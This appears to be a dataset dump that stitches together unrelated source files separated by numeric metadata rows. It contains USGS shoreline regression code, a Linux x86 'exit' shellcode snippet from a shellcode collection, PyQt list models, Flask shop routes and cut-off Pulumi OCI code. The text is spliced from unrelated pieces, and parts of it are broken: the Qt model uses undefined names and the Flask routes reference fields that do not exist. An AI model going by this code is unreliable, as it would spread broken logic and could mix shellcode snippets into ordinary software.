# this code calcualtes a linear regresion of shoreline change and a weighted linear regression # afarris@usgs.gov 2017July26 # afarris@usgs.gov 2017Sep26 handles case when no bias data is passed correctly # afarris@usgs.gov 2017Sep28 added exceptions # afarris@usgs.gov 2017Sep29 fixed divisino by zero problem # afarris@usgs.gov 2017Oct02 fixed very minor bug in one exception # afarris@usgs.gov 2017Dec15 now if all shoreliens are HWL,and bias_flag =1 , then LRR = NB_LRR, WLR = NB_WLR # afarris@usgs.gov 2018Feb12 now if all shoreliens are MHW, and bias = 0 and bias_flag =1 , then LRR = NB_LRR, WLR = NB_WLR # afarris@usgs.gov 2018Feb13 the previous fix had forgotten WLR # afarris@usgs.gov 2018jun01 made some changes suggested by code review def linreg(data): from math import sqrt from xalglib import invstudenttdistribution mean = lambda nums: sum(nums, 0.0) / len(nums) shoreNoBias = data.get('shoreNoBias') shoreBias = data.get('shoreBias') dates = data.get('dates') conf = data.get('CI') bias = data.get('bias') bias_flag = data.get('bias_flag') type = data.get('type') # this code is based on the m-file "regression_significance.m" written by # kweber. It is based on equations in the book "Biostatistical Analysis" # by Jerold Zar. # if no bias data is availae, it has been set to 0 # do 'no bias' first X = dates Y = shoreNoBias n = len(X) df = n-2 alpha = 1 - (float(conf)*.01) if df <= 0: #results wil be crazy, set output to NaN LRR = None LR2 = None LCI = None LSE = None if bias: rates = {'LRR': LRR, 'LR2': LR2, 'LSE': LSE, 'LCI': LCI,'NB_LRR': LRR, 'NB_LR2': LR2, 'NB_LCI': LCI, 'NB_LSE': LSE} else: rates = {'LRR': LRR, 'LR2': LR2, 'LSE': LSE, 'LCI': LCI} else: # there are enough shorelines to do the calculation Xbar = mean(X) Ybar = mean(Y) SS = 0 SCP = 0 totalSS = 0 for x,y in zip(X,Y): SS = SS + (x - Xbar)*(x - Xbar) SCP = SCP + (x - Xbar)*(y - Ybar) totalSS = totalSS + (y - Ybar)*(y - Ybar) if SS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the distances from the shorelines to the reference line ') if totalSS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the dates ') # calcualte the regression coeficient , which is also the slope of the regression # Eqn 17.4 b = SCP/SS LRR = b # calculate r2 , Eqn 17.12 regressionSS = b * SCP # Eqn 17.13 residualSS = totalSS - regressionSS # Eqn 17.16, r squared LR2 = regressionSS / totalSS # now calc residual mean square error rmse = residualSS/df # calc standard error of the regression SE = sqrt(rmse) # now calc confidence intervals # first calc standard error of the regression coefficient, Eqn 17.20 SERC = sqrt(rmse/SS) #test statistic for the two tailed test t = invstudenttdistribution(df,1-alpha/2) LCI = t*SERC if bias_flag: # bias is generally applied, save these rates at NB_* rates = {'NB_LRR': LRR, 'NB_LR2': LR2, 'NB_LCI': LCI, 'NB_LSE': SE} if bias ==0: # bias was genearally applied, but no bias data for this transect # need to check...if all shorelines are all HWL or all MHW, then bias is not needed and # rates can be used for both flag = 0 for t in type: if t != 'HWL': flag = flag + 1 if flag == 0 or flag == len(type): # all shoreline are HWL or all are (MHW or WDL) rates.update ( {'LRR': LRR, 'LR2': LR2, 'LCI': LCI, 'LSE': SE}) else: # if no bias, save these rates with the standard name rates = {'LRR': LRR, 'LR2': LR2, 'LCI': LCI, 'LSE': SE} # now check if bias exists, if so, and if there are enogh surveys, # do calcs on bias shifted data if bias != 0 and df > 0: Y = shoreBias Xbar = mean(X) Ybar = mean(Y) SS = 0 SCP = 0 totalSS = 0 for x,y in zip(X,Y): SS = SS + (x - Xbar)*(x - Xbar) SCP = SCP + (x - Xbar)*(y - Ybar) totalSS = totalSS + (y - Ybar)*(y - Ybar) if SS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the distances from the shorelines to the reference line ') if totalSS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the dates ' ) # calcualte the regression coeficient , which is also the slope of the regression # Eqn 17.4 b = SCP/SS LRR = b # calculate r2 , Eqn 17.12 regressionSS = b * SCP # Eqn 17.13 residualSS = totalSS - regressionSS # Eqn 17.16, r squared LR2 = regressionSS / totalSS # now calc residual mean square error rmse = residualSS/df # calc standard error of the regression SE = sqrt(rmse) # now calc confidence intervals # first calc standard error of the regression coefficient, Eqn 17.20 SERC = sqrt(rmse/SS) LCI = t*SERC rates.update ( {'LRR': LRR, 'LR2': LR2, 'LCI': LCI, 'LSE': SE}) return rates def weightlinreg(data): from math import sqrt from xalglib import invstudenttdistribution mean = lambda nums: sum(nums, 0.0) / len(nums) # this code is based on the m-file "regression_significance.m" written by # kweber. It is based on equations in the book "Biostatistical Analysis" # by Jerold Zar. # The weighted stuff is from visual basic code written by Jess Zickichi # and Ayhan Ergul shoreNoBias = data.get('shoreNoBias') shoreBias = data.get('shoreBias') dates = data.get('dates') conf = data.get('CI') uncyNoBias = data.get('uncyNoBias') uncyWBias = data.get('uncyWBias') bias = data.get('bias') bias_flag = data.get('bias_flag') type = data.get('type') # do 'no bias' first # convert uncertainty to a weight "W" that will be mulitplied with each shoreline W = [] for i in range(len(uncyNoBias)): if uncyNoBias[i] == 0: raise Exception('IPY: cannot do WLR if weight = 0 ' ) W.append ( 1 / float( uncyNoBias[i] * uncyNoBias[i] ) ) X = dates Y = shoreNoBias n = len(X) df = n-2 alpha = 1 - (float(conf)*.01) if df <= 0: #results wil be crazy, set output to NaN WLR = None WR2 = None WCI = None SE = None if bias: rates = {'WLR': WLR, 'WR2': WR2, 'WCI': WCI, 'WSE': SE,'NB_WLR': WLR, 'NB_WR2': WR2, 'NB_WCI': WCI, 'NB_WSE': SE} else: rates = {'WLR': WLR, 'WR2': WR2, 'WCI': WCI, 'WSE': SE} else: # there are enough surveys to do the calculation Xbar = mean(X) Ybar = mean(Y) sumW = 0 sumWX = 0 sumWY = 0 sumWXY = 0 sumWYY = 0 sumWXX = 0 for x,y,w in zip(X,Y,W): # these are the Visual Basic eqns: sumW = sumW + w sumWY = sumWY + (w * y) sumWX = sumWX + (w * x) sumWXX = sumWXX + (w * x * x) sumWYY = sumWYY + (w * y * y) sumWXY = sumWXY + (w * x * y) if sumW == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the uncertainties, are they all zero? ') SS = sumWXX - (sumWX * sumWX/sumW) SCP = sumWXY -(sumWX * sumWY/sumW) totalSS = sumWYY - (sumWY * sumWY / sumW) if SS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the uncertanties and/or distances ') if totalSS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the dates and/or uncertanties ') # calcualte the regression coeficient , which is also the slope of the regression # Eqn 17.4 b = SCP/SS WLR = b # calculate r2, Eqn 17.12 regressionSS = b * SCP # Eqn 17.13 residualSS = totalSS - regressionSS # Eqn 17.16, r squared WR2 = regressionSS / totalSS # now calc residual mean square error rmse = residualSS/df # calc standard error of the regression SE = sqrt(rmse) # now calc confidence intervals # first calc standard error of the regression coefficient, Eqn 17.20 SERC = sqrt(rmse/SS) #test statistic for the two tailed test t = invstudenttdistribution(df,1-alpha/2) WCI = t*SERC if bias_flag: # bias is generally applied save these data as NB_* rates = {'NB_WLR': WLR, 'NB_WR2': WR2, 'NB_WCI': WCI, 'NB_WSE': SE} if bias ==0: # bias was genearally applied, but no bias data for this transect # need to check...if all shorelines are HWL, then bias is not needed and # rates can be used for both flag = 0 for t in type: if t != 'HWL': # one of the shorelines usese a difference datum, can't use rates flag = flag + 1 if flag == 0 or flag == len(type): # all shoreline are HWL or all are (MHW or WDL) rates.update( {'WLR': WLR, 'WR2': WR2, 'WCI': WCI, 'WSE': SE}) else: # no bias, save these data with the standard names rates = {'WLR': WLR, 'WR2': WR2, 'WCI': WCI, 'WSE': SE} # now check if bias exists, if so, and if thre are enogh surveys, # do calcs on bias shifted data if bias != 0 and df > 0: # convert uncertainty to a weight "W" that will be mulitplied with each shoreline W = [] for i in range(len(uncyNoBias)): if uncyNoBias[i] == 0: raise Exception('IPY: cannot do WLR if weight = 0 ') W.append ( 1 / float( uncyNoBias[i] * uncyNoBias[i] ) ) Y = shoreBias Xbar = mean(X) Ybar = mean(Y) sumW = 0 sumWX = 0 sumWY = 0 sumWXY = 0 sumWYY = 0 sumWXX = 0 for x,y,w in zip(X,Y,W): # these are the Visual Basic eqns: sumW = sumW + w sumWY = sumWY + (w * y) sumWX = sumWX + (w * x) sumWXX = sumWXX + (w * x * x) sumWYY = sumWYY + (w * y * y) sumWXY = sumWXY + (w * x * y) if sumW == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the uncertainties, are they all zero? ') SS = sumWXX - (sumWX * sumWX/sumW) SCP = sumWXY -(sumWX * sumWY/sumW) totalSS = sumWYY - (sumWY * sumWY / sumW) if SS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the distances and/or uncertainties ' ) if totalSS == 0: #throw exception, data is odd and code will crash raise Exception('IPY: There is something wrong with the dates and/or uncertanties ') # calcualte the regression coeficient , which is also the slope of the regression # Eqn 17.4 b = SCP/SS WLR = b # calculate r2, Eqn 17.12 regressionSS = b * SCP # Eqn 17.13 residualSS = totalSS - regressionSS # Eqn 17.16, r squared WR2 = regressionSS / totalSS # now calc residual mean square error rmse = residualSS/df # calc standard error of the regression SE = sqrt(rmse) # now calc confidence intervals # first calc standard error of the regression coefficient, Eqn 17.20 SERC = sqrt(rmse/SS) WCI = t*SERC rates.update ( {'WLR': WLR, 'WR2': WR2, 'WCI': WCI, 'WSE': SE}) return rates
38.09621
128
0.539757
1,714
13,067
4.096849
0.150525
0.014241
0.029052
0.027058
0.848334
0.841641
0.841641
0.841641
0.835802
0.814725
0
0.028728
0.371317
13,067
342
129
38.207602
0.825928
0.332823
0
0.902913
0
0
0.131039
0
0
0
0
0
0
0
null
null
0
0.019417
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
f6cbb75e9d5c499b5bf16037dc635227c129e0b0
236
py
Python
DATABASE/ShellsploitFancy/Liunx86/exit.py
EgeBalci/Shellcode
2475af53b20186283b3eb1572d4de58650ad4652
[ "MIT" ]
2
2017-04-11T21:58:34.000Z
2020-05-18T02:04:41.000Z
DATABASE/ShellsploitFancy/Liunx86/exit.py
EgeBalci/Shellcode
2475af53b20186283b3eb1572d4de58650ad4652
[ "MIT" ]
null
null
null
DATABASE/ShellsploitFancy/Liunx86/exit.py
EgeBalci/Shellcode
2475af53b20186283b3eb1572d4de58650ad4652
[ "MIT" ]
4
2017-04-11T21:58:35.000Z
2021-05-14T04:53:15.000Z
def exit(): return "\\x31\\xc0\\x40\\xcd\\x80" """ Linux x86 - 5 bytes 08048060 <.text>: 8048060: 31 c0 xor %eax,%eax 8048062: 40 inc %eax 8048063: cd 80 int $0x80 """
16.857143
48
0.45339
29
236
3.689655
0.931034
0
0
0
0
0
0
0
0
0
0
0.347518
0.402542
236
13
49
18.153846
0.411348
0
0
0
0
0
0.490196
0.490196
0
0
0
0
0
1
0.5
true
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
1
null
0
0
0
0
0
1
1
0
0
1
0
0
0
7
f6f241223939a847a1671224829e20f50f0d3f65
40
py
Python
indies/__init__.py
miti0/indies
ca623b5bc6124ca179be2363ed9ed54b863d70c6
[ "Apache-2.0" ]
null
null
null
indies/__init__.py
miti0/indies
ca623b5bc6124ca179be2363ed9ed54b863d70c6
[ "Apache-2.0" ]
null
null
null
indies/__init__.py
miti0/indies
ca623b5bc6124ca179be2363ed9ed54b863d70c6
[ "Apache-2.0" ]
2
2019-11-03T22:50:05.000Z
2022-03-28T01:19:29.000Z
import numpy def uo(): return 0.0
6.666667
14
0.6
7
40
3.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0.071429
0.3
40
5
15
8
0.785714
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0.333333
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
8
100017202aa9b2b7f8ddb77047bfa4ce9b9d52ed
3,632
py
Python
qualcoder/qtmodels.py
ericbrasiln/QualCoder
46108a0e43034bdeed77319bb09dc1a3227a8c3a
[ "MIT" ]
150
2019-02-08T17:18:43.000Z
2022-03-29T21:48:18.000Z
qualcoder/qtmodels.py
ericbrasiln/QualCoder
46108a0e43034bdeed77319bb09dc1a3227a8c3a
[ "MIT" ]
568
2019-02-08T17:20:51.000Z
2022-03-31T21:45:17.000Z
qualcoder/qtmodels.py
ericbrasiln/QualCoder
46108a0e43034bdeed77319bb09dc1a3227a8c3a
[ "MIT" ]
41
2019-02-11T13:22:09.000Z
2022-03-20T13:14:25.000Z
#TODO used anywhere #TODO possibly delete from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtCore import Qt, pyqtSignal class ListObjectModel(QtCore.QAbstractListModel): checkstate_changed = pyqtSignal(str,bool) def __init__(self,data,key,checkable=False,*args,**kwargs): super(ListObjectModel,self).__init__(*args,**kwargs) self.checkable = checkable self.nativedata = data self.key = key self._checkstate = {} def rowCount(self,index): return len(self.nativedata) def data(self,index,role): idx = index.row() if role == Qt.DisplayRole: return self.nativedata[idx][self.key] elif role == Qt.ForegroundRole: return QtGui.QBrush(Qt.black) elif role == Qt.BackgroundRole: return QtGui.QBrush(QtGui.QColor(self.nativedata[idx].get('color',Qt.white))) elif role == Qt.CheckStateRole: return self._checkstate.get(key,Qt.CheckState.Unchecked) def flags(self,index): if self.checkable: return Qt.ItemIsUserCheckable | Qt.ItemIsEnabled else: return Qt.ItemIsEnabled | Qt.ItemIsSelectable def reset_data(self,data): """ completly reset data """ self.nativedata = data self._checkstate.clear() self.modelReset.emit() def make_row_to_key(self,data): return {i:val[self.key] for i,val in enumerate(data)} def setData(self,index, value, role): key = self._row_to_key[index.row()] if role == Qt.CheckStateRole: self._checkstate[key] = value self.checkstate_changed.emit(key,bool(value)) return True class DictListModel(QtCore.QAbstractListModel): checkstate_changed = pyqtSignal(str,bool) def __init__(self,data,key=None,checkable=False,*args,**kwargs): super(DictListModel,self).__init__(*args,**kwargs) self.key = key self.checkable = checkable self.nativedata = data self._checkstate = {} self._row_to_key = self.make_row_to_key(data) def rowCount(self,index): return len(self.nativedata) def makeProxy(self,key): return DictListModel(self.nativedata,key=key) def data(self,index,role): if index.isValid(): key = self._row_to_key[index.row()] if role == Qt.DisplayRole: if self.key is None: return key else: return self.nativedata[key][self.key] elif role == Qt.ForegroundRole: return QtGui.QBrush(Qt.black) elif role == Qt.BackgroundRole: return QtGui.QBrush(QtGui.QColor(self.nativedata[key].get('color',Qt.white))) elif role == Qt.CheckStateRole: return self._checkstate.get(key,Qt.CheckState.Unchecked) def flags(self,index): if self.checkable: return Qt.ItemIsUserCheckable | Qt.ItemIsEnabled else: return Qt.ItemIsEnabled | Qt.ItemIsSelectable def reset_data(self,data): """ completly reset data """ self.nativedata = data self._checkstate.clear() self._row_to_key = self.make_row_to_key(data) self.modelReset.emit() def make_row_to_key(self,data): return {i:key for i,key in enumerate(data)} def setData(self,index, value, role): key = self._row_to_key[index.row()] if role == Qt.CheckStateRole: self._checkstate[key] = value self.checkstate_changed.emit(key,bool(value)) return True
34.923077
93
0.620044
424
3,632
5.176887
0.179245
0.070159
0.032802
0.027335
0.828246
0.762187
0.744875
0.704784
0.704784
0.66287
0
0.000757
0.272302
3,632
103
94
35.262136
0.829739
0.022577
0
0.761905
0
0
0.002828
0
0
0
0
0.009709
0
1
0.178571
false
0
0.02381
0.059524
0.488095
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
1244092f9dc76c23f288b57740117717354cffa3
13,172
py
Python
app/secao/rotas.py
ramonfrombr/flask-ecommerce
accb7b6121b5d39c20793643f6b051cac739f47e
[ "MIT" ]
null
null
null
app/secao/rotas.py
ramonfrombr/flask-ecommerce
accb7b6121b5d39c20793643f6b051cac739f47e
[ "MIT" ]
null
null
null
app/secao/rotas.py
ramonfrombr/flask-ecommerce
accb7b6121b5d39c20793643f6b051cac739f47e
[ "MIT" ]
null
null
null
from flask import( Flask, render_template, flash, redirect, url_for, session, request, logging ) from passlib.hash import sha256_crypt import datetime import timeit from . import secao as bp from .. import mysql from ..formularios import OrderForm from ..funcoes_auxiliares import conteudo_filtrado, wrappers from ..decoradores import ( usuario_conectado, usuario_nao_conectado, admin_conectado, admin_nao_conectado ) ############################################################## ############################################################## # SEÇÕES PRODUTOS ############################################################## ############################################################## @bp.route('/camisa', methods=['GET', 'POST']) def camisa(): form = OrderForm(request.form) # Create cursor db = mysql.connection.cursor() # Get message valores = 'camisa' db.execute("SELECT * FROM produtos WHERE categoria=%s ORDER BY id ASC", (valores,)) produtos = db.fetchall() # Close Connection db.close() if request.method == 'POST' and form.validate(): nome = form.nome.data telefone = form.telefone.data pedido_local = form.pedido_local.data quantidade = form.quantidade.data produto_id = request.args['pedido'] agora = datetime.datetime.now() semana = datetime.timedelta(days=7) data_entrega = agora + semana agora_horario = data_entrega.strftime("%y-%m-%d %H:%M:%S") # Create Cursor db = mysql.connection.cursor() if 'usuario_id' in session: usuario_id = session['usuario_id'] db.execute("INSERT INTO pedidos(usuario_id, produto_id, ofname, telefone, pedido_local, quantidade, entrega_data) " "VALUES(%s, %s, %s, %s, %s, %s, %s)", (usuario_id, produto_id, nome, telefone, pedido_local, quantidade, agora_horario)) else: db.execute("INSERT INTO pedidos(produto_id, ofname, telefone, pedido_local, quantidade, entrega_data) " "VALUES(%s, %s, %s, %s, %s, %s)", (produto_id, nome, telefone, pedido_local, quantidade, agora_horario)) # Commit cursor mysql.connection.commit() # Close Connection db.close() flash('Pedido feito com sucesso', 'success') return render_template('camisa.html', camisa=produtos, form=form) if 'ver' in request.args: produto_id = request.args['ver'] curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (produto_id,)) produto = curso.fetchall() x = conteudo_filtrado(produto_id) wrappered = wrappers(conteudo_filtrado, produto_id) #execution_time = timeit.timeit(wrappered, number=0) # print('Execution time: ' + str(execution_time) + ' usec') if 'usuario_id' in session: usuario_id = session['usuario_id'] # Create cursor cur = mysql.connection.cursor() cur.execute("SELECT * FROM produto_visita WHERE usuario_id=%s AND produto_id=%s", (usuario_id, produto_id)) result = cur.fetchall() if result: now = datetime.datetime.now() now_time = now.strftime("%y-%m-%d %H:%M:%S") cur.execute("UPDATE produto_visita SET data=%s WHERE usuario_id=%s AND produto_id=%s", (now_time, usuario_id, produto_id)) else: cur.execute("INSERT INTO produto_visita(usuario_id, produto_id) VALUES(%s, %s)", (usuario_id, produto_id)) mysql.connection.commit() return render_template('ver_produto.html', x=x, camisas=produto) elif 'pedido' in request.args: produto_id = request.args['pedido'] curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (produto_id,)) produto = curso.fetchall() x = conteudo_filtrado(produto_id) return render_template('pedido_produto.html', x=x, camisas=produto, form=form) return render_template('camisa.html', camisa=produtos, form=form) @bp.route('/carteira', methods=['GET', 'POST']) def carteira(): form = OrderForm(request.form) # Create cursor cur = mysql.connection.cursor() # Get message values = 'carteira' cur.execute("SELECT * FROM produtos WHERE categoria=%s ORDER BY id ASC", (values,)) produtos = cur.fetchall() # Close Connection cur.close() if request.method == 'POST' and form.validate(): name = form.nome.data mobile = form.telefone_num.data pedido_local = form.pedido_local.data quantity = form.quantity.data produto_id = request.args['pedido'] now = datetime.datetime.now() week = datetime.timedelta(days=7) delivery_date = now + week now_time = delivery_date.strftime("%y-%m-%d %H:%M:%S") # Create Cursor curs = mysql.connection.cursor() if 'usuario_id' in session: usuario_id = session['usuario_id'] curs.execute("INSERT INTO pedidos(usuario_id, produto_id, ofname, mobile, oplace, quantity, ddate) " "VALUES(%s, %s, %s, %s, %s, %s, %s)", (usuario_id, produto_id, name, mobile, pedido_local, quantity, now_time)) else: curs.execute("INSERT INTO pedidos(produto_id, ofname, mobile, oplace, quantity, ddate) " "VALUES(%s, %s, %s, %s, %s, %s)", (produto_id, name, mobile, pedido_local, quantity, now_time)) # Commit cursor mysql.connection.commit() # Close Connection cur.close() flash('Order successful', 'success') return render_template('carteira.html', carteira=produtos, form=form) if 'ver' in request.args: q = request.args['ver'] produto_id = q x = conteudo_filtrado(produto_id) curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (q,)) produtos = curso.fetchall() return render_template('ver_produto.html', x=x, camisas=produtos) elif 'pedido' in request.args: produto_id = request.args['pedido'] curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (produto_id,)) produto = curso.fetchall() x = conteudo_filtrado(produto_id) return render_template('order_produto.html', x=x, camisas=produto, form=form) return render_template('carteira.html', carteira=produtos, form=form) @bp.route('/cinto', methods=['GET', 'POST']) def cinto(): form = OrderForm(request.form) # Create cursor cur = mysql.connection.cursor() # Get message values = 'cinto' cur.execute("SELECT * FROM produtos WHERE categoria=%s ORDER BY id ASC", (values,)) produtos = cur.fetchall() # Close Connection cur.close() if request.method == 'POST' and form.validate(): name = form.nome.data mobile = form.telefone_num.data pedido_local = form.pedido_local.data quantity = form.quantity.data produto_id = request.args['pedido'] now = datetime.datetime.now() week = datetime.timedelta(days=7) delivery_date = now + week now_time = delivery_date.strftime("%y-%m-%d %H:%M:%S") # Create Cursor curs = mysql.connection.cursor() if 'usuario_id' in session: usuario_id = session['usuario_id'] curs.execute("INSERT INTO pedidos(usuario_id, produto_id, ofname, mobile, oplace, quantity, ddate) " "VALUES(%s, %s, %s, %s, %s, %s, %s)", (usuario_id, produto_id, name, mobile, pedido_local, quantity, now_time)) else: curs.execute("INSERT INTO pedidos(produto_id, ofname, mobile, oplace, quantity, ddate) " "VALUES(%s, %s, %s, %s, %s, %s)", (produto_id, name, mobile, pedido_local, quantity, now_time)) # Commit cursor mysql.connection.commit() # Close Connection cur.close() flash('Order successful', 'success') return render_template('cintos.html', cinto=produtos, form=form) if 'ver' in request.args: q = request.args['ver'] produto_id = q x = conteudo_filtrado(produto_id) curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (q,)) produtos = curso.fetchall() return render_template('ver_produto.html', x=x, camisas=produtos) elif 'pedido' in request.args: produto_id = request.args['pedido'] curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (produto_id,)) produto = curso.fetchall() x = conteudo_filtrado(produto_id) return render_template('order_produto.html', x=x, camisas=produto, form=form) return render_template('cinto.html', cinto=produtos, form=form) @bp.route('/sapatos', methods=['GET', 'POST']) def sapatos(): form = OrderForm(request.form) # Create cursor cur = mysql.connection.cursor() # Get message values = 'sapatos' cur.execute("SELECT * FROM produtos WHERE categoria=%s ORDER BY id ASC", (values,)) produtos = cur.fetchall() # Close Connection cur.close() if request.method == 'POST' and form.validate(): nome = form.nome.data telefone = form.telefone.data pedido_local = form.pedido_local.data quantidade = form.quantidade.data produto_id = request.args['pedido'] now = datetime.datetime.now() week = datetime.timedelta(days=7) delivery_date = now + week now_time = delivery_date.strftime("%y-%m-%d %H:%M:%S") # Create Cursor curs = mysql.connection.cursor() if 'usuario_id' in session: usuario_id = session['usuario_id'] curs.execute("INSERT INTO pedidos(usuario_id, produto_id, ofname, telefone, pedido_local, quantidade, entrega_data) " "VALUES(%s, %s, %s, %s, %s, %s, %s)", (usuario_id, produto_id, nome, telefone, pedido_local, quantidade, now_time)) else: curs.execute("INSERT INTO pedidos(produto_id, ofname, telefone, pedido_local, quantidade, entrega_data) " "VALUES(%s, %s, %s, %s, %s, %s)", (produto_id, nome, telefone, pedido_local, quantidade, now_time)) # Commit cursor mysql.connection.commit() # Close Connection cur.close() flash('Order successful', 'success') return render_template('sapatos.html', sapatos=produtos, form=form) if 'ver' in request.args: q = request.args['ver'] produto_id = q x = conteudo_filtrado(produto_id) curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (q,)) produtos = curso.fetchall() form.produto_id = produto_id return render_template('ver_produto.html', x=x, camisas=produtos) elif 'pedido' in request.args: produto_id = request.args['pedido'] curso = mysql.connection.cursor() curso.execute("SELECT * FROM produtos WHERE id=%s", (produto_id,)) produto = curso.fetchall() x = conteudo_filtrado(produto_id) form.produto_id = produto_id return render_template('order_produto.html', x=x, camisas=produto, form=form) return render_template('sapatos.html', sapatos=produtos, form=form)
28.025532
129
0.534619
1,362
13,172
5.039648
0.097651
0.068182
0.015734
0.016317
0.844406
0.831731
0.813666
0.801719
0.785839
0.744318
0
0.000918
0.338445
13,172
469
130
28.085288
0.78678
0.0372
0
0.726087
0
0.017391
0.190987
0.002096
0
0
0
0
0
1
0.017391
false
0.004348
0.03913
0
0.126087
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
1263761d22c6b417eaab9d58b010e10eced816e7
31,610
py
Python
sdk/python/pulumi_oci/core/volume_group.py
EladGabay/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
5
2021-08-17T11:14:46.000Z
2021-12-31T02:07:03.000Z
sdk/python/pulumi_oci/core/volume_group.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
1
2021-09-06T11:21:29.000Z
2021-09-06T11:21:29.000Z
sdk/python/pulumi_oci/core/volume_group.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
2
2021-08-24T23:31:30.000Z
2022-01-02T19:26:54.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['VolumeGroupArgs', 'VolumeGroup'] @pulumi.input_type class VolumeGroupArgs: def __init__(__self__, *, availability_domain: pulumi.Input[str], compartment_id: pulumi.Input[str], source_details: pulumi.Input['VolumeGroupSourceDetailsArgs'], backup_policy_id: Optional[pulumi.Input[str]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, display_name: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None): """ The set of arguments for constructing a VolumeGroup resource. :param pulumi.Input[str] availability_domain: The availability domain of the volume group. :param pulumi.Input[str] compartment_id: (Updatable) The OCID of the compartment that contains the volume group. :param pulumi.Input['VolumeGroupSourceDetailsArgs'] source_details: Specifies the source for a volume group. :param pulumi.Input[str] backup_policy_id: If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` :param pulumi.Input[str] display_name: (Updatable) A user-friendly name for the volume group. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}` """ pulumi.set(__self__, "availability_domain", availability_domain) pulumi.set(__self__, "compartment_id", compartment_id) pulumi.set(__self__, "source_details", source_details) if backup_policy_id is not None: pulumi.set(__self__, "backup_policy_id", backup_policy_id) if defined_tags is not None: pulumi.set(__self__, "defined_tags", defined_tags) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if freeform_tags is not None: pulumi.set(__self__, "freeform_tags", freeform_tags) @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> pulumi.Input[str]: """ The availability domain of the volume group. """ return pulumi.get(self, "availability_domain") @availability_domain.setter def availability_domain(self, value: pulumi.Input[str]): pulumi.set(self, "availability_domain", value) @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> pulumi.Input[str]: """ (Updatable) The OCID of the compartment that contains the volume group. """ return pulumi.get(self, "compartment_id") @compartment_id.setter def compartment_id(self, value: pulumi.Input[str]): pulumi.set(self, "compartment_id", value) @property @pulumi.getter(name="sourceDetails") def source_details(self) -> pulumi.Input['VolumeGroupSourceDetailsArgs']: """ Specifies the source for a volume group. """ return pulumi.get(self, "source_details") @source_details.setter def source_details(self, value: pulumi.Input['VolumeGroupSourceDetailsArgs']): pulumi.set(self, "source_details", value) @property @pulumi.getter(name="backupPolicyId") def backup_policy_id(self) -> Optional[pulumi.Input[str]]: """ If provided, specifies the ID of the volume backup policy to assign to the newly created volume group. If omitted, no policy will be assigned. """ return pulumi.get(self, "backup_policy_id") @backup_policy_id.setter def backup_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "backup_policy_id", value) @property @pulumi.getter(name="definedTags") def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Operations.CostCenter": "42"}` """ return pulumi.get(self, "defined_tags") @defined_tags.setter def defined_tags(self, value: 